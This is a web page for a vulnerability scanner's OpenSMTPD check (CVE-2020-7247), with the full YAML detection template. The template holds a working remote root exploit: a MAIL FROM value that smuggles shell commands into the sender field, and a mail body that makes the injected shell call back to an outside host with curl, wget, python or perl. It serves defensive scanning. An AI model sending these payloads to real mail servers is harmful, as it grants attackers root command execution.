OpenSMTPD — 1 vulnerability check

noctis ships 1 vulnerability check for OpenSMTPD, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

OpenSMTPD smtp_mailaddr sender injection RCE

CVECVE-2020-7247
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Servicessmtp
Detectiontcp_open, sleep, tcp_send, set_var, script, match, tcp_close, wait_oob · highest QoD 97
Feedtests/vulnerabilities/opensmtpd/CVE-2020-7247.yaml

OpenSMTPD 6.4.0 through 6.6.1 accepts a MAIL FROM address with an invalid local part when its domain part is empty, and later expands that sender unescaped into the shell command line used for local delivery. An unauthenticated remote attacker can thus run arbitrary shell commands as root (Qualys, January 2020). Fixed in OpenSMTPD 6.6.2p1.

How noctis detects it

  1. Opens a persistent TCP/TLS socket
  2. Sends … on the open socket
  3. Parses / computes the next value with a Rhai script
  4. Sends EHLO noctis.test on the open socket
  5. Sends MAIL FROM:<{{exploit_sender}}> on the open socket
  6. Parses / computes the next value with a Rhai script
  7. Checks mail.response for (^|\n)250 [^\n]*$ → finding QoD 75: OpenSMTPD accepts the CVE-2020-7247 exploit sender
  8. Sends RCPT TO:<root> on the open socket
  9. Sends DATA on the open socket
  10. Sends #0 on the open socket
  11. Sends QUIT on the open socket
  12. Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: OpenSMTPD CVE-2020-7247 remote command execution confirmed

References:

Feed source — tests/vulnerabilities/opensmtpd/CVE-2020-7247.yaml
# OpenSMTPD 6.4.0–6.6.1 — smtp_mailaddr() sender injection RCE (CVE-2020-7247)
#
# smtp_mailaddr() rejects an invalid local part UNLESS the domain part is empty
# ("accept empty domain part"), so `MAIL FROM:<;cmd;>` is accepted. On local
# delivery the sender is expanded, unescaped, into the MDA command line that
# OpenSMTPD runs with `/bin/sh -c` as root — the `;` breaks out of it. The local
# part is capped at 64 chars, so the public exploit (Qualys) uses a fixed sender
#     ;for i in 0 1 2 3 4 5 6 7 8 9 a b c d;do read r;done;sh;exit 0;
# that skips the 14 first lines of the message on stdin (headers + padding) and
# pipes the rest of the mail body into `sh`.
#
# Two detection branches:
#
#   1. Sender syntax check (QoD 75, inert — nothing is queued or executed)
#      Banner "ESMTP OpenSMTPD" (fixed string in smtpd's greeting) and the
#      exploit sender above accepted with 250. 6.6.2 rejects it with
#      "553 5.1.0 Sender address syntax error"; other MTAs are excluded by the
#      banner check. QUIT follows (one command per write:
#      OpenSMTPD rejects pipelining) — no RCPT/DATA, so no delivery happens.
#      Caveat: pre-6.4 OpenSMTPD (EOL since 2018; NVD and Debian DSA-4611 still
#      list it as affected) shares the lenient parser but delivers with execle()
#      and no shell, so this branch alone can't tell them apart — branch 2 can.
#
#   2. Real exploitation, OOB callback (QoD 97) — only with --oob
#      Delivers a mail to root whose body makes the injected `sh` issue one
#      HTTP GET to {{oob_url}} (curl / wget / OpenBSD ftp / python3 / perl,
#      first available). Benign: no file written, nothing persistent, the
#      broken MDA line delivers no mail. Note: the commands run as root.
#      Fires only where root's mail goes through the mbox / mda shell line (the
#      default) and the listener accepts RCPT TO:<root> from a remote client;
#      an MX limited to `for domain <list>` (550 on root) or maildir/lmtp
#      delivery stays at branch 1.
#
# Beyond a sender-acceptance-only check (the usual scanner approach): branch 2
# proves code execution end to end, and branch 1 requires the OpenSMTPD banner
# so a lenient non-OpenSMTPD MTA accepting the odd sender is not reported.
uid: ec0470d7-8fb6-421e-9a87-f3b0c21bd391
name: "OpenSMTPD smtp_mailaddr sender injection RCE (CVE-2020-7247)"
description: |
  OpenSMTPD 6.4.0 through 6.6.1 accepts a MAIL FROM address with an invalid
  local part when its domain part is empty, and later expands that sender
  unescaped into the shell command line used for local delivery. An
  unauthenticated remote attacker can thus run arbitrary shell commands as root
  (Qualys, January 2020). Fixed in OpenSMTPD 6.6.2p1.
cves: [CVE-2020-7247]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.20
tags: [opensmtpd, openbsd, smtp, rce, command-injection, intrusive, oob, kev]
services: [smtp]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2020-7247"
  - "https://www.qualys.com/2020/01/28/cve-2020-7247/lpe-rce-opensmtpd.txt"
  - "https://www.openbsd.org/security.html"
  - "https://github.com/FiroSolutions/cve-2020-7247-exploit"
  - "https://github.com/projectdiscovery/nuclei-templates/blob/main/javascript/cves/2020/CVE-2020-7247.yaml"

vars:
  # Qualys' 64-char sender: skip 14 lines of stdin, then run the rest with sh.
  exploit_sender: ";for i in 0 1 2 3 4 5 6 7 8 9 a b c d;do read r;done;sh;exit 0;"

steps:
  - id: open-smtp
    action: tcp_open
    handle: smtp
    port: "{{port}}"
    read_banner: true
    timeout_secs: 10
    store_as: conn

  # OpenSMTPD greets only after reverse DNS + the connect filter phase, which
  # can outlast even the open's first-byte wait (timeout_secs), and it answers an
  # EHLO sent before its greeting with 503. So when no greeting came with the
  # connect, wait and read it explicitly before EHLO.
  - id: greeting-wait
    action: sleep
    condition: "conn.connected == true && type_of(conn.banner) != \"string\""
    duration_ms: 4000

  - id: greeting-read
    action: tcp_send
    handle: smtp
    condition: "conn.connected == true && type_of(conn.banner) != \"string\""
    send: ""
    timeout_secs: 10
    store_as: greet

  - id: greeting-init
    action: set_var
    var_name: late_greeting
    var_value: ""

  - id: greeting-late
    action: set_var
    condition: "type_of(greet.response) == \"string\""
    var_name: late_greeting
    var_value: "{{greet.response}}"

  # "ESMTP OpenSMTPD" is hardcoded in smtpd's greeting (SMTPD_NAME).
  - id: greeting
    action: script
    condition: "conn.connected == true"
    store_as: greeting
    code: |
      let txt = late_greeting;
      if type_of(conn.banner) == "string" { txt = conn.banner; }
      txt

  - id: ehlo
    action: tcp_send
    handle: smtp
    condition: "greeting.contains(\"ESMTP OpenSMTPD\")"
    send: "EHLO noctis.test\r\n"
    timeout_secs: 10
    store_as: ehlo

  - id: mail-from
    action: tcp_send
    handle: smtp
    condition: "greeting.contains(\"ESMTP OpenSMTPD\") && type_of(ehlo.response) == \"string\""
    send: "MAIL FROM:<{{exploit_sender}}>\r\n"
    timeout_secs: 10
    store_as: mail

  # Judge the LAST reply line only, so a late EHLO continuation ("250-...")
  # spilling into this read can't pass for an accepted sender.
  - id: sender-accepted
    action: script
    condition: "greeting.contains(\"ESMTP OpenSMTPD\")"
    store_as: sender_ok
    code: |
      type_of(mail.response) == "string" && ereg("(^|\n)250 [^\n]*$", mail.response) && !mail.response.contains("553")

  # ── Branch 1: inert sender syntax check (QoD 75) ──────────────────────────
  - id: report-sender-accepted
    action: match
    source: mail.response
    pattern: "(^|\\n)250 [^\\n]*$"
    condition: "sender_ok == true"
    on_match:
      finding:
        title: "OpenSMTPD accepts the CVE-2020-7247 exploit sender"
        confidence_delta: 0.50   # 0.20 + 0.50 = 0.70
        qod: 75
        evidence: "Greeting: {{greeting}} | MAIL FROM:<{{exploit_sender}}> → {{mail.response}} (OpenSMTPD >= 6.6.2 answers 553 Sender address syntax error)"

  # ── Branch 2: real exploitation, OOB callback (QoD 97) ────────────────────
  - id: rcpt
    action: tcp_send
    handle: smtp
    condition: "oob_enabled && sender_ok == true"
    send: "RCPT TO:<root>\r\n"
    timeout_secs: 10
    store_as: rcpt

  - id: data
    action: tcp_send
    handle: smtp
    condition: "oob_enabled && sender_ok == true && type_of(rcpt.response) == \"string\" && rcpt.response.starts_with(\"250\")"
    send: "DATA\r\n"
    timeout_secs: 10
    store_as: data

  # 14 comment lines absorb the `read r` loop whatever the number of headers
  # OpenSMTPD prepends (≤ 14); `sh` then runs the remaining comments + the
  # callback line.
  - id: body
    action: tcp_send
    handle: smtp
    condition: "oob_enabled && sender_ok == true && type_of(data.response) == \"string\" && data.response.starts_with(\"354\")"
    send: "#0\r\n#1\r\n#2\r\n#3\r\n#4\r\n#5\r\n#6\r\n#7\r\n#8\r\n#9\r\n#a\r\n#b\r\n#c\r\n#d\r\n(curl -s -m 10 -o /dev/null {{oob_url}} || wget -q -T 10 -O /dev/null {{oob_url}} || ftp -o /dev/null {{oob_url}} || python3 -c \"import urllib.request as u;u.urlopen('{{oob_url}}',timeout=10)\" || perl -MIO::Socket::INET -e '$s=IO::Socket::INET->new(PeerAddr=>\"{{oob_host}}:{{oob_port}}\",Timeout=>10) or exit 1;print $s \"GET /{{oob_token}} HTTP/1.0\\r\\nHost: {{oob_host}}\\r\\n\\r\\n\";<$s>') >/dev/null 2>&1\r\n.\r\n"
    timeout_secs: 15
    store_as: delivered

  - id: quit
    action: tcp_send
    handle: smtp
    condition: "conn.connected == true"
    send: "QUIT\r\n"
    timeout_secs: 5
    store_as: bye

  - id: close-smtp
    action: tcp_close
    handle: smtp

  - id: wait-callback
    action: wait_oob
    oob_timeout_secs: 20
    store_as: oob_result
    condition: "oob_enabled && sender_ok == true && type_of(delivered.response) == \"string\" && delivered.response.starts_with(\"250\")"
    on_success:
      finding:
        title: "OpenSMTPD CVE-2020-7247 remote command execution confirmed"
        confidence_delta: 0.75   # 0.20 + 0.75 = 0.95
        qod: 97
        evidence: "MAIL FROM:<{{exploit_sender}}> accepted ({{mail.response}}), mail to root delivered ({{delivered.response}}); the injected shell called back ({{oob_result.method}} /{{oob_token}})"
      stop: true

View these feeds on GitHub